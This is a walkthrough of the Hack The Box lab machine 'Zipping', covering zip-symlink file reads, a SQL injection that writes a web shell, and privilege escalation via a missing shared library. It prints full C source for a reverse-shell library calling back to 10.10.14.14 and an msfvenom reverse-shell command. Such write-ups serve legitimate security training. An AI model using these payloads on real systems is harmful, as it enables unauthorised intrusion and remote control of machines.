Post

HTB Zipping: Walkthrough

HTB Zipping: Walkthrough

image

  • First, we encounter a web server hosting a file upload, that filters for .zip archives that must contain a .pdf file.
  • We can leverage symlinks to basically perform LFI, and read the web applications source code.
  • We notice a certain parameter is vulnerable to SQLi, and exploit it to gain RCE.
  • Privilege escalation involves analyzing a binary locally, which loads a lib file that doesn’t exist, allowing us to create our own and escalate.

0) Machine Overview

  1. Scans
  2. Web Enumeration
  3. Privilege Escalation

1) Scans

1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)

2) Web Enumeration

Nothing really interesting as far as directory bruteforcing goes. image

Lets begin looking around and manually testing the applications functionality.

Over in the /upload.php directory, a file upload form can be found: image

Seems like its only accepting zip files that contain a pdf.

I tried the following:

  • Uploading a .php file.
  • Uploading a .zip file containing a .php file.

But those didn’t work. However, that’s when things started to get interesting. I tried uploading a .zip file containing a .php.pdf file, which it suprisingly accepted. It returns us with an endpoint we can use to access it:

image

Now if we access it, we get an error:

image

Now this exploit isn’t exactly that, but its similar. Basically, we can set a symbolic link to a file like /etc/passwd and then once our .pdf is retrieved/accessed, it will actually retrieve /etc/passwd.

image

image

Then once we upload our file and access it:

image

I tried checking if there was an id_rsa anywhere, but unfortunately there wasn’t.

In the meanwhile, we can basically read/download all the source code of the website. In specific, there is an interesting file called cart.php:

image

Its basically telling us its vulnerable to SQLi through those pretty funny comments.

We’ll first use this payload just to make sure that our SQLi works: (Note: the 1 at the end is needed, i’m assuming because once the SQL statement ends with our semicolon, the query is still expecting a number at the end based on the actual functionality of the pgrep_match function that was implemented.)

image

Now this payload looks a little confusing at first, but if we look back at the code, it says its filtering from basically all special characters using pgrep_match().

So if we check out this HackTricks article, it shows there’s a way to bypass it by using %0a to basically send the rest of the payload after that character, on a new line. We have to make sure we end with a number, due to the regex that’s being used.

From that point, its just testing certain payloads until we get a 302 response.

The reason we have to make it so complicated and have it write out to file is because its an Out-Of-Band SQLi. We cant see the results directly listed to us, so we need a way to store it and retrieve it. So for example, in this PayloadsAllTheThings note, we can see that it recommends we use that exact payload:

image

The only thing that we need to worry about is where we actually want to store the file, and optimally we’d want to be able to retrieve it/access it. So you could try placing it somewhere in the web-root, but if privileges aren’t sufficient for that, we can try placing it somewhere like /var/lib/mysql/.

Now then, lets see if we can try writing a web-shell payload into a file, then accessing it on the web-server: (Just keep in mind, stuff like this requires lots of tampering, especially when it comes to special characters.)

image

Assuming we got the status code response we wanted, we can try executing it now: (Another note, for some reason we have to remove the file extension, or else it doesn’t work.)

image

If all goes well, we should receive a request to our python web-server, and then a reverse shell right after.

image

From there, we can just ssh-keygen -t rsa -b 4096, and then login via SSH.

3) Privilege Escalation

image

If we run this binary, it just asks us for a password, without much in return. I tried putting a bunch of A’s in the chances it could be overflowed, but it wasn’t. Also, since the binary is owned by root, we can’t even take it offline to analyze it, so we’ll have to use whats available to us.

objdump -x stock

image

image

ldd stock

image

hexdump -C stock

image

Turns out that ASCII on the right, St0ckM4nager, was actually the password to the binary:

image

strings gives us a better understanding though:

image

Now that we have the password, when we run strace /usr/bin/stock, and provide the password, it gives us some more output:

image

If we pay close attention, we can see its trying to load a libcounter.so file from our users home directory, but that file doesn’t exist.

(Nice article for compiling syntax and overall shared library misconfigurations)

(NOTE: A great tip I learnt here is that, in certain situations, you may need to have your function execute before anything else, as that may prevent it from running properly/at all. For example, in this scenario our primary executable/binary stock is going to be the one calling for this library, and no matter what I did, it never executed my function for some reason, even though its supposed to called my library. So what we had to do was add static int main() __attribute__((constructor));, and that basically told the binary that, the second you get executed, execute me as well.)

Lets make our own libcounter.so file now, containing a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

static int main() __attribute__((constructor));

int main(void){
    int port = 1234;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
	revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.14");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/bash", NULL};
    execve("/bin/bash", argv, NULL);

    return 0;       
}

Then compile it:

image

Then finally execute the binary with sudo.

image

Pwned.


Post-Machine Notes In the context of the SQLi, the way you were meant to know that you can write files to the filesystem, was if you analyzed the /var/www/html/functions.php file from the zip file symlink vulnerability, we’d notice that the DB is running as the root db user, which as that user, gives us the ability to write to the file system, usually a good bet is placing it in /dev/shm or /var/lib/mysql.

Also, you could also have performed a UNION SQLi as well, its not an OOB SQLi like I thought it was, albeit there wasn’t much to retrieve from the DB.

Another great tip is, when we want to directly include a reverse shell to get executed, and want to know for sure that the payload is working without being screwed up by URL encoding. we can make sure there are no + or =, we can do that by adding extra spaces in between the characters like IppSec does here: (and don’t forget to try running it against yourself first as well)

image

To test it on ourselves:

image

We could have used msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf.so -o libcounter.so as that would’ve saved me the hassle of trying to get a properly working malicious libcounter.so , since I had to find out about__attribute__((constructor))

This post is licensed under CC BY 4.0 by the author.